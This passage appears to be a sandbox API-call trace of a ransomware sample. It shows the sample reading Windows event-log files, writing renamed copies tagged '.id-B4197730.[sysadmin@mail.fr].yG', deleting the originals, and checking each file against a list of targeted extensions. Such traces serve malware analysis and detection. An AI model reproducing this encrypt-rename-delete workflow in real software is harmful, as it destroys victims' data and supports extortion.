	[0053.078] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0053.078] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.078] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.078] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0053.114] GetLastError () returned 0x0
	[0053.114] ReadFile (in: hFile=0x350, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.145] WriteFile (in: hFile=0x348, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.147] ReadFile (in: hFile=0x350, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.147] WriteFile (in: hFile=0x348, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0053.147] SetEndOfFile (hFile=0x348) returned 1
	[0053.160] CloseHandle (hObject=0x348) returned 1
	[0053.162] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.162] SetEndOfFile (hFile=0x350) returned 1
	[0053.163] CloseHandle (hObject=0x350) returned 1
	[0053.163] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.163] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1
	[0053.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.211] lstrlenW (lpString=".doc") returned 4
	[0053.211] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.211] lstrlenW (lpString=".docx") returned 5
	[0053.211] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.211] lstrlenW (lpString=".pdf") returned 4
	[0053.211] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.211] lstrlenW (lpString=".xls") returned 4
	[0053.211] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.211] lstrlenW (lpString=".xlsx") returned 5
	[0053.211] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.211] lstrlenW (lpString=".ppt") returned 4
	[0053.211] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.211] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.211] lstrlenW (lpString=".zip") returned 4
	[0053.211] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.211] lstrlenW (lpString=".rar") returned 4
	[0053.211] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.211] lstrlenW (lpString=".bz2") returned 4
	[0053.211] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.211] lstrlenW (lpString=".7z") returned 3
	[0053.211] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString=".dbf") returned 4
	[0053.212] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString=".1cd") returned 4
	[0053.212] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString=".jpg") returned 4
	[0053.212] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString=".doc") returned 4
	[0053.212] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString=".docx") returned 5
	[0053.212] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.212] lstrlenW (lpString=".pdf") returned 4
	[0053.212] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString=".xls") returned 4
	[0053.212] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString=".xlsx") returned 5
	[0053.212] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.212] lstrlenW (lpString=".ppt") returned 4
	[0053.212] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString=".zip") returned 4
	[0053.212] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString=".rar") returned 4
	[0053.212] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString=".bz2") returned 4
	[0053.212] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString=".7z") returned 3
	[0053.212] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString=".dbf") returned 4
	[0053.212] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.212] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.212] lstrlenW (lpString=".1cd") returned 4
	[0053.213] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.213] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0053.213] lstrlenW (lpString=".jpg") returned 4
	[0053.213] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.213] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.213] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49
	[0053.213] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.245] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.245] CloseHandle (hObject=0x2e0) returned 1
	[0053.245] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20
	[0053.245] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.245] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.245] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.245] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.246] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0053.248] GetLastError () returned 0x0
	[0053.248] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.257] WriteFile (in: hFile=0x384, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.258] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.258] WriteFile (in: hFile=0x384, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x136, lpOverlapped=0x0) returned 1
	[0053.258] SetEndOfFile (hFile=0x384) returned 1
	[0053.259] CloseHandle (hObject=0x384) returned 1
	[0053.261] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.261] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.262] CloseHandle (hObject=0x2e0) returned 1
	[0053.262] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.262] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1
	[0053.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.262] lstrlenW (lpString=".doc") returned 4
	[0053.262] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.262] lstrlenW (lpString=".docx") returned 5
	[0053.262] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.262] lstrlenW (lpString=".pdf") returned 4
	[0053.262] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.262] lstrlenW (lpString=".xls") returned 4
	[0053.262] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.262] lstrlenW (lpString=".xlsx") returned 5
	[0053.262] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.262] lstrlenW (lpString=".ppt") returned 4
	[0053.262] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.262] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.262] lstrlenW (lpString=".zip") returned 4
	[0053.263] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".rar") returned 4
	[0053.263] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".bz2") returned 4
	[0053.263] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".7z") returned 3
	[0053.263] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.263] lstrlenW (lpString=".dbf") returned 4
	[0053.263] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.263] lstrlenW (lpString=".1cd") returned 4
	[0053.263] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.263] lstrlenW (lpString=".jpg") returned 4
	[0053.263] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.263] lstrlenW (lpString=".doc") returned 4
	[0053.263] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".docx") returned 5
	[0053.263] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.263] lstrlenW (lpString=".pdf") returned 4
	[0053.263] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".xls") returned 4
	[0053.263] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".xlsx") returned 5
	[0053.263] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.263] lstrlenW (lpString=".ppt") returned 4
	[0053.263] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.263] lstrlenW (lpString=".zip") returned 4
	[0053.263] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".rar") returned 4
	[0053.263] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.263] lstrlenW (lpString=".bz2") returned 4
	[0053.263] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.264] lstrlenW (lpString=".7z") returned 3
	[0053.264] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.264] lstrlenW (lpString=".dbf") returned 4
	[0053.264] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.264] lstrlenW (lpString=".1cd") returned 4
	[0053.264] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.264] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57
	[0053.264] lstrlenW (lpString=".jpg") returned 4
	[0053.264] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.264] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.264] lstrlenW (lpString="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 72
	[0053.264] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.264] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.264] CloseHandle (hObject=0x2e0) returned 1
	[0053.264] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 0x20
	[0053.265] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.265] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0
	[0053.265] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.265] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.265] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0053.278] GetLastError () returned 0x0
	[0053.278] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0053.297] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0053.298] ReadFile (in: hFile=0x2e0, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0053.298] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x164, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x164, lpOverlapped=0x0) returned 1
	[0053.298] SetEndOfFile (hFile=0x334) returned 1
	[0053.299] CloseHandle (hObject=0x334) returned 1
	[0053.300] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0053.300] SetEndOfFile (hFile=0x2e0) returned 1
	[0053.301] CloseHandle (hObject=0x2e0) returned 1
	[0053.301] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0053.302] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx")) returned 1
	[0053.308] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.308] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.308] lstrlenW (lpString=".doc") returned 4
	[0053.308] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.308] lstrlenW (lpString=".docx") returned 5
	[0053.308] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.308] lstrlenW (lpString=".pdf") returned 4
	[0053.308] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.308] lstrlenW (lpString=".xls") returned 4
	[0053.308] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.308] lstrlenW (lpString=".xlsx") returned 5
	[0053.308] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.308] lstrlenW (lpString=".ppt") returned 4
	[0053.308] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.308] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.308] lstrlenW (lpString=".zip") returned 4
	[0053.308] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.308] lstrlenW (lpString=".rar") returned 4
	[0053.308] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.308] lstrlenW (lpString=".bz2") returned 4
	[0053.309] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString=".7z") returned 3
	[0053.309] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.309] lstrlenW (lpString=".dbf") returned 4
	[0053.309] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.309] lstrlenW (lpString=".1cd") returned 4
	[0053.309] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.309] lstrlenW (lpString=".jpg") returned 4
	[0053.309] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.309] lstrlenW (lpString=".doc") returned 4
	[0053.309] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString=".docx") returned 5
	[0053.309] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0053.309] lstrlenW (lpString=".pdf") returned 4
	[0053.309] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString=".xls") returned 4
	[0053.309] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString=".xlsx") returned 5
	[0053.309] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0053.309] lstrlenW (lpString=".ppt") returned 4
	[0053.309] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0053.309] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.309] lstrlenW (lpString=".zip") returned 4
	[0053.309] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0053.310] lstrlenW (lpString=".rar") returned 4
	[0053.310] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0053.310] lstrlenW (lpString=".bz2") returned 4
	[0053.310] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0053.310] lstrlenW (lpString=".7z") returned 3
	[0053.310] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0053.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.310] lstrlenW (lpString=".dbf") returned 4
	[0053.310] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0053.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.310] lstrlenW (lpString=".1cd") returned 4
	[0053.310] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0053.310] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 80
	[0053.310] lstrlenW (lpString=".jpg") returned 4
	[0053.310] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0053.310] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0053.310] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76
	[0053.310] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.320] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0053.320] CloseHandle (hObject=0x34c) returned 1
	[0053.320] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20
	[0053.320] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0053.320] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c
	[0053.320] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
